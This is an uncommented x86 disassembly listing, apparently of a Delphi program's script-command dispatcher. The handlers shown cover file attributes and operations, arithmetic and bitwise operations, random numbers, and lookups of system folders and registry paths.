mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x22c4]
call fcn.005936d4
test al, al
je 0x5a892e
lea edx, [ebp - 0x22cc]
mov eax, dword [ebp - 0x3fc]
call fcn.0040ac80
mov edx, dword [ebp - 0x22cc]
lea eax, [ebp - 0x3fc]
call fcn.00405b30
lea edx, [ebp - 0x22d0]
mov eax, dword [ebp - 0x400]
call fcn.0040ac80
mov edx, dword [ebp - 0x22d0]
lea eax, [ebp - 0x400]
call fcn.00405b30
cmp dword [ebp - 0x3c4], 0
je 0x5a8977
lea edx, [ebp - 0x22d4]
mov eax, dword [ebp - 0x3c4]
call fcn.0040abac
mov eax, dword [ebp - 0x22d4]
push eax
lea eax, [ebp - 0x22d8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x22d8]
mov edx, dword [ebp - 0x3fc]
pop eax
call fcn.0059002c
cmp dword [ebp - 0x3c8], 0
je 0x5a89c0
lea edx, [ebp - 0x22dc]
mov eax, dword [ebp - 0x3c8]
call fcn.0040abac
mov eax, dword [ebp - 0x22dc]
push eax
lea eax, [ebp - 0x22e0]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ebp - 0x400]
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x438]
mov edx, 0x5af034
call fcn.00405ec0
jne 0x5a8e5e
xor eax, eax
push ebp
push 0x5a8e57
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x22e8]
push eax
lea ecx, [ebp - 0x22ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x22e8]
lea edx, [ebp - 0x22e4]
call fcn.005939c8
mov eax, dword [ebp - 0x22e4]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x22f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22f0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3c4]
call fcn.005af6a8
test al, al
jne 0x5a8aba
lea edx, [ebp - 0x22f4]
mov eax, dword [ebp - 0x3c4]
call fcn.0040abac
mov eax, dword [ebp - 0x22f4]
push eax
lea eax, [ebp - 0x22f8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x22f8]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x3c8]
push eax
lea ecx, [ebp - 0x22fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22fc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3c8], 0
je 0x5a8b40
mov eax, dword [ebp - 0x3c8]
call fcn.005af6a8
test al, al
jne 0x5a8b40
lea edx, [ebp - 0x2300]
mov eax, dword [ebp - 0x3c8]
call fcn.0040abac
mov eax, dword [ebp - 0x2300]
push eax
lea eax, [ebp - 0x2304]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2304]
xor edx, edx
pop eax
call fcn.0059002c
mov byte [ebp - 0x65d], 0
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5af050
call fcn.00406074
dec eax
jne 0x5a8b76
lea eax, [ebp - 0x3c0]
mov ecx, 9
mov edx, 1
call fcn.00405fd0
mov byte [ebp - 0x65d], 1
lea edx, [ebp - 0x2308]
mov eax, dword [ebp - 8]
call fcn.0040abe4
mov eax, dword [ebp - 0x2308]
push eax
lea edx, [ebp - 0x230c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abe4
mov edx, dword [ebp - 0x230c]
pop eax
call fcn.00405ec0
je 0x5a8c8b
xor eax, eax
push ebp
push 0x5a8bd9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403b4c
lea eax, [ebp - 8]
call fcn.00405a98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8beb
xor eax, eax
push ebp
push 0x5a8c35
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d4eec]
mov byte [eax], 0
mov edx, dword [ebp - 0x3c0]
lea eax, [ebp - 0x1d4]
call fcn.004039a4
lea eax, [ebp - 0x1d4]
call fcn.00403728
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405b30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8c8b
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
jne 0x5a8d9e
cmp byte [ebp - 0x65d], 0
je 0x5a8d55
lea eax, [ebp - 0x3bc]
call fcn.00405a98
jmp 0x5a8d17
lea edx, [ebp - 0x3b4]
lea eax, [ebp - 0x1d4]
call fcn.00403f9c
lea eax, [ebp - 0x1d4]
call fcn.00404008
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
je 0x5a8cf6
lea eax, [ebp - 0x3bc]
mov edx, dword [ebp - 0x3b4]
call fcn.00405d64
jmp 0x5a8d17
push dword [ebp - 0x3bc]
push dword [ebp - 0x3b4]
push 0x5af064
lea eax, [ebp - 0x3bc]
mov edx, 3
call fcn.00405e2c
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
je 0x5a8cb8
lea eax, [ebp - 0x2314]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2314]
mov edx, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x3c4]
call fcn.00590064
jmp 0x5a8d9e
lea edx, [ebp - 0x3b4]
lea eax, [ebp - 0x1d4]
call fcn.00403f9c
lea eax, [ebp - 0x1d4]
call fcn.00404008
lea eax, [ebp - 0x2318]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2318]
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3c4]
call fcn.00590064
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
je 0x5a8df4
lea eax, [ebp - 0x3b4]
mov edx, 0x5ad834
call fcn.00405b30
lea eax, [ebp - 8]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a8de8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403b4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8e04
lea eax, [ebp - 0x3b4]
mov edx, 0x5ad6f8
call fcn.00405b30
cmp dword [ebp - 0x3c8], 0
je 0x5a8e3a
lea eax, [ebp - 0x231c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x231c]
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3c8]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af078
call fcn.00405ec0
jne 0x5a90bf
xor eax, eax
push ebp
push 0x5a90b8
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x2324]
push eax
lea ecx, [ebp - 0x2328]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2328]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2324]
lea edx, [ebp - 0x2320]
call fcn.005939c8
mov eax, dword [ebp - 0x2320]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
lea eax, [ebp - 0x232c]
push eax
lea ecx, [ebp - 0x2330]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2330]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x232c]
lea edx, [ebp - 0x3c4]
call fcn.005939c8
lea edx, [ebp - 0x2334]
mov eax, dword [ebp - 8]
call fcn.0040abe4
mov eax, dword [ebp - 0x2334]
push eax
lea edx, [ebp - 0x2338]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abe4
mov edx, dword [ebp - 0x2338]
pop eax
call fcn.00405ec0
jne 0x5a8f7f
xor eax, eax
push ebp
push 0x5a8f75
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403b4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8f7f
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x614], eax
xor eax, eax
push ebp
push 0x5a8fba
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x614]
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8fcf
lea eax, [ebp - 0x2340]
push eax
lea ecx, [ebp - 0x2344]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2344]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2340]
lea edx, [ebp - 0x233c]
call fcn.005939c8
mov eax, dword [ebp - 0x233c]
call fcn.005936d4
test al, al
je 0x5a9036
mov ecx, dword [ebp - 0x3c4]
xor edx, edx
mov eax, dword [ebp - 0x614]
mov ebx, dword [eax]
call dword [ebx + 0x60]
jmp 0x5a9047
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x614]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x80
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
push ebp
push 0x5a9086
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x614]
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9090
mov eax, dword [ebp - 0x614]
call fcn.00404b38
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af094
call fcn.00405ec0
jne 0x5a9673
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2348]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2348]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a9152
lea edx, [ebp - 0x234c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x234c]
push eax
lea eax, [ebp - 0x2350]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2350]
xor edx, edx
pop eax
call fcn.0059002c
xor eax, eax
push ebp
push 0x5a9628
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2354]
push eax
lea ecx, [ebp - 0x2358]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2358]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2354]
call fcn.0040b39c
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], edx
cmp dword [ebp - 0x56c], 0
jne 0x5a91b9
cmp dword [ebp - 0x570], 0xb
je 0x5a9215
lea eax, [ebp - 0x2360]
push eax
lea ecx, [ebp - 0x2364]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2364]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2360]
lea edx, [ebp - 0x235c]
call fcn.005939c8
mov eax, dword [ebp - 0x235c]
call fcn.0040b39c
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], edx
cmp dword [ebp - 0x56c], 0
jne 0x5a9229
cmp dword [ebp - 0x570], 0xa
jb 0x5a923d
jmp 0x5a922b
jl 0x5a923d
cmp dword [ebp - 0x56c], 0
jne 0x5a9297
cmp dword [ebp - 0x570], 0xd
jne 0x5a9297
lea eax, [ebp - 0x236c]
push eax
lea ecx, [ebp - 0x2370]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2370]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x236c]
lea edx, [ebp - 0x2368]
call fcn.005939c8
mov eax, dword [ebp - 0x2368]
call fcn.0040b39c
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], edx
mov eax, dword [ebp - 0x570]
cmp eax, 0xf
ja case.default.0x5a92a6
jmp dword [eax*4 + 0x5a92ad]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
add eax, dword [ebp - 0x568]
adc edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
sub eax, dword [ebp - 0x568]
sbb edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
push dword [ebp - 0x564]
push dword [ebp - 0x568]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406da0
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
push dword [ebp - 0x564]
push dword [ebp - 0x568]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406dc4
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
push dword [ebp - 0x564]
push dword [ebp - 0x568]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406ea4
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
and eax, dword [ebp - 0x568]
and edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
or eax, dword [ebp - 0x568]
or edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
xor eax, dword [ebp - 0x568]
xor edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x568]
mov ecx, eax
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406f70
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x568]
mov ecx, eax
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406f90
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
not eax
not edx
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
lea eax, [ebp - 0x2378]
push eax
lea ecx, [ebp - 0x237c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x237c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2378]
lea edx, [ebp - 0x2374]
call fcn.005939c8
mov eax, dword [ebp - 0x2374]
movzx eax, byte [eax]
movzx eax, al
xor edx, edx
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov edx, eax
lea eax, [ebp - 0x3c0]
call fcn.00405c80
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov dword [0x5dbcac], eax
mov eax, dword [ebp - 0x568]
mov dword [0x5dbcb0], eax
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
add eax, dword [ebp - 0x568]
adc edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [ebp - 0x560]
mov dword [0x5dbcb4], eax
mov eax, dword [0x5dbcb4]
cdq
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a92a6
mov eax, dword [0x5dbcac]
imul dword [0x5dbcb4]
add eax, dword [0x5dbcb0]
cdq
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
push 0
push 0x7fff
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406ea4
mov dword [0x5dbcb4], eax
push dword [ebp - 0x55c]
push dword [ebp - 0x560]
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406ea4
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
cmp dword [ebp - 0x56c], 0
jne 0x5a9605
cmp dword [ebp - 0x570], 0xc
je 0x5a961e
push dword [ebp - 0x574]
push dword [ebp - 0x578]
lea eax, [ebp - 0x3c0]
call fcn.0040b2d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a963d
cmp dword [ebp - 0x3b0], 0
je 0x5a9673
lea eax, [ebp - 0x2380]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2380]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5af0a8
call fcn.00405ec0
jne 0x5a9fa9
xor eax, eax
push ebp
push 0x5a9fa2
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
call fcn.0059247c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2384]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2384]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a971e
lea edx, [ebp - 0x2388]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x2388]
push eax
lea eax, [ebp - 0x238c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x238c]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x2390]
push eax
lea ecx, [ebp - 0x2394]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2394]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2390]
call fcn.005936d4
mov byte [ebp - 0x57d], al
lea eax, [ebp - 0x2398]
push eax
lea ecx, [ebp - 0x239c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x239c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2398]
call fcn.0040b328
cmp eax, 0x1b
ja case.default.0x5a97a7
jmp dword [eax*4 + 0x5a97ae]
mov dword [ebp - 0x54c], 0x20
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x21
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a9854
mov dword [ebp - 0x54c], 0x2e
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 5
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a987b
mov dword [ebp - 0x54c], 0x1f
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 6
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a98a2
mov dword [ebp - 0x54c], 0x35
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xd
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a98c9
mov dword [ebp - 0x54c], 0x36
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x27
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a98f0
mov dword [ebp - 0x54c], 0x37
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xe
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x13
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x1b
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.0058acc8
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.0058ac00
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a9969
mov dword [ebp - 0x54c], 0x2f
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x30
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a9990
mov dword [ebp - 0x54c], 0x16
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xb
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a99b7
mov dword [ebp - 0x54c], 0x18
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 7
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a99de
mov dword [ebp - 0x54c], 0x17
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 2
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a9a05
mov dword [ebp - 0x54c], 0x23
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x1a
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x3b
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a9a3b
mov dword [ebp - 0x54c], 0x19
jmp case.default.0x5a97a7
xor eax, eax
mov dword [ebp - 0x54c], eax
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x14
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
je 0x5a9a6f
mov dword [ebp - 0x54c], 0x3e
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x28
jmp case.default.0x5a97a7
cmp byte [ebp - 0x57d], 0
jne 0x5a9a96
mov dword [ebp - 0x54c], 0x26
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x2b
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 8
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 9
jmp case.default.0x5a97a7
lea eax, [ebp - 0x3c0]
call fcn.00405a98
call fcn.0058e318
test al, al
je 0x5a9b04
mov eax, dword [0x5dbca4]
mov edx, 0x5ad61c
call fcn.00405ec0
jne 0x5a9b04
lea eax, [ebp - 0x23a0]
call fcn.0058e15c
mov eax, dword [ebp - 0x23a0]
lea edx, [ebp - 0x3c0]
call fcn.00589dcc
cmp dword [ebp - 0x3c0], 0
jne case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xffffffff
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x23a4]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x23a4]
lea edx, [ebp - 0x3c0]
call fcn.00589dcc
mov eax, esi
call fcn.00402fdc
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0x15
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xffffffff
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x23a8]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x23a8]
lea edx, [ebp - 0x3c0]
call fcn.00589dcc
mov eax, esi
call fcn.00402fdc
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.00405a98
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
xor ecx, ecx
mov edx, 0x5af0c4
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x5a9c83
xor eax, eax
push ebp
push 0x5a9c6e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5af110
mov eax, dword [ebp - 0x53c]
call fcn.00431090
cmp dword [ebp - 0x3c0], 0
je 0x5a9c64
lea edx, [ebp - 0x23ac]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0x23ac]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5af120
call fcn.00405db0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9c83
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
jmp case.default.0x5a97a7
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.00405a98
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
xor ecx, ecx
mov edx, 0x5af154
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x5a9d9c
xor eax, eax
push ebp
push 0x5a9d2a
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5af178
mov eax, dword [ebp - 0x53c]
call fcn.00431090
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9d3f
cmp dword [ebp - 0x3c0], 0
je 0x5a9d91
mov eax, 0x41000
call fcn.00402fc0
mov dword [ebp - 0x538], eax
push 0x41000
mov eax, dword [ebp - 0x538]
push eax
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
lea eax, [ebp - 0x3c0]
mov edx, dword [ebp - 0x538]
call fcn.00405c90
mov eax, dword [ebp - 0x538]
call fcn.00402fdc
mov eax, dword [ebp - 0x53c]
call fcn.00430994
cmp dword [ebp - 0x3c0], 0
jne 0x5a9f1b
xor ecx, ecx
mov edx, 0x5af18c
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x5a9f1b
xor eax, eax
push ebp
push 0x5a9df1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5aed3c
mov eax, dword [ebp - 0x53c]
call fcn.00431090
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9e06
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5af1d8
call fcn.0041038c
test eax, eax
je 0x5a9e63
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 0
je 0x5a9e40
cmp dword [ebp - 0x3c0], 0
jne 0x5a9f10
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
cmp dword [ebp - 0x54c], 0xffffffff
je 0x5a9f40
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x54c]
call fcn.0058ae20
lea edx, [ebp - 0x23b0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov eax, dword [ebp - 0x23b0]
push eax
lea eax, [ebp - 0x23b4]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23b4]
mov eax, dword [ebp - 0x3b0]
pop edx
